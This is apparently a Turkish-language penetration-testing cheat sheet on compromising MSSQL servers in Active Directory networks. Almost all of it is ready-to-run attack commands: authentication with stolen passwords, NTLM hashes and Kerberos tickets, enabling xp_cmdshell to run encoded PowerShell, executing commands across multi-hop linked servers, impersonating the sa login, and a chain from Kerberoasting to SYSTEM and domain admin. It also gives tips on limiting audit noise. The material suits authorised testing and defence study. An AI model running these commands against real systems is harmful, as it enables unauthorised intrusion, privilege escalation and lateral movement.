Skip to content

MSSQL & Linked Servers

ATT&CK T1210 difficulty: orta

Kurumsal AD ortamlarında MSSQL sunucuları hem RCE hem yanal hareket için değerlidir. Servis hesapları çoğu zaman yüksek yetkilidir (SeImpersonate → Potato, veya domain admin benzeri); ayrıca linked server ilişkileri ile bir sunucudan diğerine (bazen daha yetkili) zincir kurulur.

MSSQL · mssqlclient

embedded tool
Generated command
impacket-mssqlclient domain.local/sqluser:Pass123@10.10.10.5 -windows-auth
Terminal window
impacket-GetUserSPNs domain.local/user:'Pass' -dc-ip DC | grep -i MSSQL
Terminal window
nxc mssql 10.10.10.0/24 -u user -p 'Pass'
Terminal window
Get-DomainComputer -SPN 'MSSQL*'
Terminal window
Get-SQLInstanceDomain # PowerUpSQL
Terminal window
impacket-mssqlclient domain.local/user:'Pass'@10.10.10.5 -windows-auth
Terminal window
impacket-mssqlclient -hashes :NTHASH domain.local/user@10.10.10.5 -windows-auth
Terminal window
export KRB5CCNAME=user.ccache
Terminal window
impacket-mssqlclient -k -no-pass domain.local/user@sql01.domain.local
Terminal window
impacket-mssqlclient sa@10.10.10.5 -windows-auth # veya sa:pass without -windows-auth
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- Impersonation hakları
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Sysadmin (veya yeterli izin) gerekir; kapalıysa açmayı dene:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -enc <BASE64>';
Terminal window
SQL> enable_xp_cmdshell
Terminal window
SQL> xp_cmdshell whoami

Alternatifler: Ole Automation (sp_OACreate), CLR assembly, Agent Job (sp_add_job), EXTERNAL SCRIPT (R/Python).

  1. Linked server’ları listele :

    EXEC sp_linkedservers;
    SELECT * FROM sys.servers;
    SELECT * FROM sys.linked_logins;
    Terminal window
    Get-SQLServerLink -Instance sql01
    Terminal window
    Get-SQLServerLinkCrawl -Instance sql01
  2. Uzak sunucuda sorgu/komut :

    SELECT * FROM OPENQUERY([LINKED\SQL], 'SELECT @@version');
    EXEC ('SELECT SYSTEM_USER') AT [LINKED\SQL];
    EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED\SQL];
    -- Çok hop
    SELECT * FROM OPENQUERY([L1], 'SELECT * FROM OPENQUERY([L2], ''SELECT SYSTEM_USER'')');
  3. Impersonation — daha yetkili login:

    EXECUTE AS LOGIN = 'sa';
    SELECT SYSTEM_USER;
    EXEC xp_cmdshell 'whoami';
    REVERT;
    -- dbo impersonation (db seviye)
    EXECUTE AS USER = 'dbo';
Kerberoast MSSQLSvc SPN → svc_sql parola
→ Windows auth to SQL → sysadmin
→ xp_cmdshell → SeImpersonate → SYSTEM
→ veya linked → prod SQL → DA credential in job/proxy

BloodHound: SQL host üzerinde AdminTo / session; servis hesabı MemberOf / AllowedToDelegate.

Terminal window
nxc mssql HOST -u user -p 'Pass' -q 'SELECT @@version'
Terminal window
nxc mssql HOST -u user -H :HASH -x 'whoami'
Terminal window
nxc mssql HOST -u sa -p 'saPass' --local-auth -x 'whoami'
  • xp_cmdshell açmak config değişikliği + audit event üretir; mümkünse zaten açıksa kullan.
  • Linked crawl otomatik gürültülü; önce manuel map.
  • Agent Job bırakmak kalıcılıktır — angajman kuralına uy, temizle.
  • SQL auth sa zayıf parola hâlâ yaygın; Windows auth yanında dene.
  • Windows auth için -windows-auth unutulması.
  • Linked server “mapping” yok → uzak tarafta guest / fail.
  • EXECUTE AS için IMPERSONATE hakkı yok.
  • Firewall sadece 1433; linked ikinci hop saldırgan ağından değil SQL’den çıkar (pivot olarak değerli).
  • Contained DB / Azure SQL’de xp_cmdshell yok — teknik farklılaşır.

Kerberoasting · Exec methods · Delegation